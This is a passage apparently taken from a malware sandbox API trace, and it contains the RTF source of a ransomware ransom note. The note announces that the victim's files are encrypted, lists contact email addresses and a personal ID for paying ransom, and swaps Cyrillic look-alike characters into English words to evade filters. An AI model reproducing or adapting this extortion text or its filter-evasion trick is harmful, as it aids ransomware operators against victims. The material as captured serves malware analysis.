billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s 